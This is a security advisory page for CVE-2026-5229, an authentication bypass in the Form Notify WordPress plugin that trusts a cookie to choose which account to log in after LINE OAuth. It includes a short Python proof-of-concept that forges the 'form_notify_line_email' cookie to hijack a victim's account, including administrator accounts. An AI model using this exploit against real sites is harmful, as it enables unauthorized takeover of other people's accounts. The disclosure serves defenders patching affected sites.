Security Vulnerability Report
中文
CVE-2026-5229 CVSS 9.8 CRITICAL

CVE-2026-5229

Published: 2026-05-15 09:16:17
Last Modified: 2026-05-15 14:09:16

Description

The Form Notify plugin for WordPress is vulnerable to Authentication Bypass in versions up to and including 1.1.10. This is due to the plugin trusting user-controlled cookie data to determine which WordPress account to authenticate after a LINE OAuth login. When LINE doesn't provide an email address (which is common), the plugin falls back to reading the 'form_notify_line_email' cookie value without verifying that the LINE account is associated with that email address. This makes it possible for unauthenticated attackers to gain access to any user account on the site, including administrator accounts, by completing a LINE OAuth flow with their own LINE account while injecting a malicious cookie containing the target victim's email address.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Form Notify <= 1.1.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Exploit Concept for CVE-2026-5229: Authentication Bypass in Form Notify Plugin import requests target_url = "http://target-wordpress-site.com" victim_email = "[email protected]" # Create a session to maintain cookies session = requests.Session() # Step 1: Inject the malicious cookie containing the victim's email # The plugin trusts this cookie value when LINE does not provide an email session.cookies.set('form_notify_line_email', victim_email, domain=target_url.replace('http://', '')) # Step 2: Simulate the LINE OAuth callback # The attacker initiates the login process. The plugin sees a valid LINE login # but uses the injected cookie email to determine which WP user to log in. oauth_endpoint = f"{target_url}/?form_notify_line_login_callback=1" try: response = session.get(oauth_endpoint, allow_redirects=False) if response.status_code == 302 or 'wp-admin' in response.url: print("[+] Exploit successful! Logged in as user: %s" % victim_email) print("[+] Redirected to:", response.headers.get('Location', response.url)) else: print("[-] Exploit failed or logic changed.") except Exception as e: print("Error:", e)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5229", "sourceIdentifier": "[email protected]", "published": "2026-05-15T09:16:16.690", "lastModified": "2026-05-15T14:09:15.910", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Form Notify plugin for WordPress is vulnerable to Authentication Bypass in versions up to and including 1.1.10. This is due to the plugin trusting user-controlled cookie data to determine which WordPress account to authenticate after a LINE OAuth login. When LINE doesn't provide an email address (which is common), the plugin falls back to reading the 'form_notify_line_email' cookie value without verifying that the LINE account is associated with that email address. This makes it possible for unauthenticated attackers to gain access to any user account on the site, including administrator accounts, by completing a LINE OAuth flow with their own LINE account while injecting a malicious cookie containing the target victim's email address."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-287"}]}], "references": [{"url": "https://github.com/oberonlai/form-notify/commit/5eab0ea", "source": "[email protected]"}, {"url": "https://github.com/oberonlai/form-notify/commit/9780764", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/form-notify/tags/1.1.08/src/APIs/Line/Login/Route.php#L116-L118", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/form-notify/tags/1.1.08/src/APIs/Line/Login/User.php#L53", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/form-notify/tags/1.1.08/src/APIs/Line/Login/User.php#L72", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/form-notify/trunk/src/APIs/Line/Login/Route.php#L116-L118", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/form-notify/trunk/src/APIs/Line/Login/User.php#L53", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/form-notify/trunk/src/APIs/Line/Login/User.php#L72", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3517908%40form-notify&new=3517908%40form-notify&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2f0a7d6f-9b95-4052-bab3-85aca01f6ab7?source=cve", "source": "[email protected]"}]}}